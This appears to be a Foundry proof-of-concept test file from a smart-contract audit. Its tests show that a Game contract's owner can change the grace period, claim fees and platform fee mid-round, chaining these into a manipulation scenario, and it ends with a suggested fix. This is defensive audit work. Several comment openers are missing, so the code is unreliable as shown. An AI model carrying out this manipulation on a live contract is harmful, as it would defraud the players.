pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {Game} from "../src/Game.sol";
contract Finding4POC is Test {
Game public game;
address public deployer;
address public player1;
address public player2;
uint256 public constant INITIAL_CLAIM_FEE = 0.1 ether;
uint256 public constant GRACE_PERIOD = 1 days;
uint256 public constant FEE_INCREASE_PERCENTAGE = 10;
uint256 public constant PLATFORM_FEE_PERCENTAGE = 5;
function setUp() public {
deployer = makeAddr("deployer");
player1 = makeAddr("player1");
player2 = makeAddr("player2");
vm.deal(deployer, 10 ether);
vm.deal(player1, 10 ether);
vm.deal(player2, 10 ether);
vm.startPrank(deployer);
game = new Game(
INITIAL_CLAIM_FEE,
GRACE_PERIOD,
FEE_INCREASE_PERCENTAGE,
PLATFORM_FEE_PERCENTAGE
);
vm.stopPrank();
}
* @notice POC: Demonstrates owner can manipulate grace period during active round
*/
function testPOC_OwnerManipulatesGracePeriodMidRound() public {
console2.log("=== FINDING #4 POC: OWNER MANIPULATES GRACE PERIOD MID-ROUND ===");
console2.log("");
uint256 originalGracePeriod = game.gracePeriod();
console2.log("Original grace period:", originalGracePeriod, "seconds");
console2.log("Original grace period in days:", originalGracePeriod / 86400);
assertFalse(game.gameEnded());
console2.log("Game ended status:", game.gameEnded());
console2.log("Game is currently active");
console2.log("");
console2.log("Owner changing grace period to 1 second during active round...");
vm.prank(deployer);
game.updateGracePeriod(1);
uint256 newGracePeriod = game.gracePeriod();
console2.log("New grace period:", newGracePeriod, "seconds");
assertEq(newGracePeriod, 1);
assertNotEq(newGracePeriod, originalGracePeriod);
console2.log("");
console2.log("MANIPULATION SUCCESSFUL:");
console2.log("Grace period changed from days:", originalGracePeriod / 86400);
console2.log("Grace period changed to 1 second");
console2.log("- Game was active during the change");
console2.log("- No protection against mid-round changes");
console2.log("");
vm.warp(block.timestamp + 2);
console2.log("After 2 seconds:");
console2.log("- Remaining time:", game.getRemainingTime());
console2.log("- Grace period expired due to manipulation");
console2.log("");
console2.log("IMPACT: Owner can instantly end any round");
}
* @notice POC: Demonstrates owner can manipulate claim fees mid-round
*/
function testPOC_OwnerManipulatesClaimFeesMidRound() public {
console2.log("=== OWNER MANIPULATES CLAIM FEES MID-ROUND ===");
console2.log("");
uint256 originalInitialFee = game.initialClaimFee();
uint256 originalFeeIncrease = game.feeIncreasePercentage();
uint256 originalCurrentFee = game.claimFee();
console2.log("Original parameters:");
console2.log("- Initial claim fee:", originalInitialFee);
console2.log("- Fee increase percentage:", originalFeeIncrease, "%");
console2.log("- Current claim fee:", originalCurrentFee);
console2.log("");
assertFalse(game.gameEnded());
console2.log("Game is active - round in progress");
console2.log("");
console2.log("Owner changing fees to make game unplayable...");
vm.prank(deployer);
game.updateClaimFeeParameters(100 ether, 100);
uint256 newInitialFee = game.initialClaimFee();
uint256 newFeeIncrease = game.feeIncreasePercentage();
uint256 newCurrentFee = game.claimFee();
console2.log("New parameters:");
console2.log("- Initial claim fee:", newInitialFee);
console2.log("- Fee increase percentage:", newFeeIncrease, "%");
console2.log("- Current claim fee:", newCurrentFee);
console2.log("");
assertEq(newInitialFee, 100 ether);
assertEq(newFeeIncrease, 100);
assertNotEq(newInitialFee, originalInitialFee);
assertNotEq(newFeeIncrease, originalFeeIncrease);
console2.log("MANIPULATION SUCCESSFUL:");
console2.log("- Fee increased", (newInitialFee * 100) / originalInitialFee, "x");
console2.log("Fee increase rate changed from:", originalFeeIncrease, "%");
console2.log("Fee increase rate changed to:", newFeeIncrease, "%");
console2.log("- Game now requires", newCurrentFee, "to claim");
console2.log("- Most players cannot afford this");
console2.log("");
console2.log("IMPACT: Owner can price out all players instantly");
}
* @notice POC: Demonstrates owner can manipulate platform fees mid-round
*/
function testPOC_OwnerManipulatesPlatformFeesMidRound() public {
console2.log("=== OWNER MANIPULATES PLATFORM FEES MID-ROUND ===");
console2.log("");
uint256 originalPlatformFee = game.platformFeePercentage();
console2.log("Original platform fee:", originalPlatformFee, "%");
assertFalse(game.gameEnded());
console2.log("Game is active");
console2.log("");
console2.log("Owner increasing platform fee to 99%...");
vm.prank(deployer);
game.updatePlatformFeePercentage(99);
uint256 newPlatformFee = game.platformFeePercentage();
console2.log("New platform fee:", newPlatformFee, "%");
assertEq(newPlatformFee, 99);
assertNotEq(newPlatformFee, originalPlatformFee);
console2.log("");
console2.log("MANIPULATION SUCCESSFUL:");
console2.log("Platform fee changed from:", originalPlatformFee, "%");
console2.log("Platform fee changed to:", newPlatformFee, "%");
console2.log("- Owner now takes 99% of all claims");
console2.log("- Only 1% goes to pot for winner");
console2.log("");
uint256 exampleClaim = 1 ether;
uint256 ownerTake = (exampleClaim * newPlatformFee) / 100;
uint256 potAddition = exampleClaim - ownerTake;
console2.log("For a", exampleClaim, "claim:");
console2.log("- Owner receives:", ownerTake);
console2.log("- Pot receives:", potAddition);
console2.log("");
console2.log("IMPACT: Owner can drain almost all value from game");
}
* @notice POC: Shows multiple manipulation attack scenarios
*/
function testPOC_CombinedManipulationAttack() public {
console2.log("=== COMBINED MANIPULATION ATTACK SCENARIO ===");
console2.log("");
console2.log("SCENARIO: Owner wants to end game in their favor");
console2.log("");
console2.log("Step 1: Owner waits for pot to grow (theoretical pot: 10 ETH)");
uint256 theoreticalPot = 10 ether;
console2.log("");
console2.log("Step 2: Owner makes fees impossibly high");
vm.prank(deployer);
game.updateClaimFeeParameters(1000 ether, 100);
console2.log("- New claim fee:", game.claimFee());
console2.log("- Result: No one can afford to claim");
console2.log("");
console2.log("Step 3: Owner shortens grace period to 1 second");
vm.prank(deployer);
game.updateGracePeriod(1);
console2.log("- New grace period:", game.gracePeriod(), "seconds");
console2.log("");
console2.log("Step 4: Owner waits 2 seconds for grace period to expire");
vm.warp(block.timestamp + 2);
console2.log("- Remaining time:", game.getRemainingTime());
console2.log("- Grace period expired");
console2.log("");
console2.log("Step 5: Owner can now call declareWinner()");
console2.log("- Current king would win", theoreticalPot);
console2.log("- No other players could compete due to high fees");
console2.log("");
console2.log("ATTACK SUCCESSFUL:");
console2.log("- Owner prevented fair competition");
console2.log("- Manipulated game rules mid-round");
console2.log("- Could coordinate with accomplice to win");
console2.log("- No protection mechanisms triggered");
}
* @notice POC: Shows what proper protection should look like
*/
function testPOC_ProperProtectionMechanism() public {
console2.log("=== PROPER PROTECTION MECHANISM ===");
console2.log("");
console2.log("CURRENT (VULNERABLE) FUNCTIONS:");
console2.log("function updateGracePeriod(uint256 _gracePeriod) external onlyOwner {");
console2.log(" // No gameEnded check!");
console2.log(" gracePeriod = _gracePeriod;");
console2.log("}");
console2.log("");
console2.log("SECURE IMPLEMENTATION:");
console2.log("modifier gameEndedOnly() {");
console2.log(" require(gameEnded, 'Game: Cannot change parameters during active round');");
console2.log(" _;");
console2.log("}");
console2.log("");
console2.log("function updateGracePeriod(uint256 _gracePeriod) external onlyOwner gameEndedOnly {");
console2.log(" gracePeriod = _gracePeriod;");
console2.log("}");
console2.log("");
console2.log("PROTECTION BENEFITS:");
console2.log("- Parameters can only change between rounds");
console2.log("- Players can trust rules during gameplay");
console2.log("- Owner cannot manipulate active games");
console2.log("- Maintains game integrity and fairness");
console2.log("- Builds player confidence and trust");
console2.log("");
console2.log("ADDITIONAL PROTECTIONS:");
console2.log("- Time delays for parameter changes");
console2.log("- Maximum change limits per update");
console2.log("- Player notification requirements");
console2.log("- Community governance for major changes");
}
* @notice POC: Tests that vulnerable functions lack protection
*/
function testPOC_VulnerableFunctionsLackProtection() public {
console2.log("=== VULNERABLE FUNCTIONS ANALYSIS ===");
console2.log("");
assertFalse(game.gameEnded());
console2.log("Testing parameter changes during active round:");
console2.log("");
console2.log("1. updateGracePeriod() during active round:");
vm.prank(deployer);
game.updateGracePeriod(123);
console2.log(" X ALLOWED (should be blocked)");
assertEq(game.gracePeriod(), 123);
console2.log("");
console2.log("2. updateClaimFeeParameters() during active round:");
vm.prank(deployer);
game.updateClaimFeeParameters(5 ether, 50);
console2.log(" X ALLOWED (should be blocked)");
assertEq(game.initialClaimFee(), 5 ether);
console2.log("");
console2.log("3. updatePlatformFeePercentage() during active round:");
vm.prank(deployer);
game.updatePlatformFeePercentage(25);
console2.log(" X ALLOWED (should be blocked)");
assertEq(game.platformFeePercentage(), 25);
console2.log("");
console2.log("RESULT: All parameter changes allowed during active round");
console2.log("VULNERABILITY CONFIRMED: No gameEnded protection");
}
}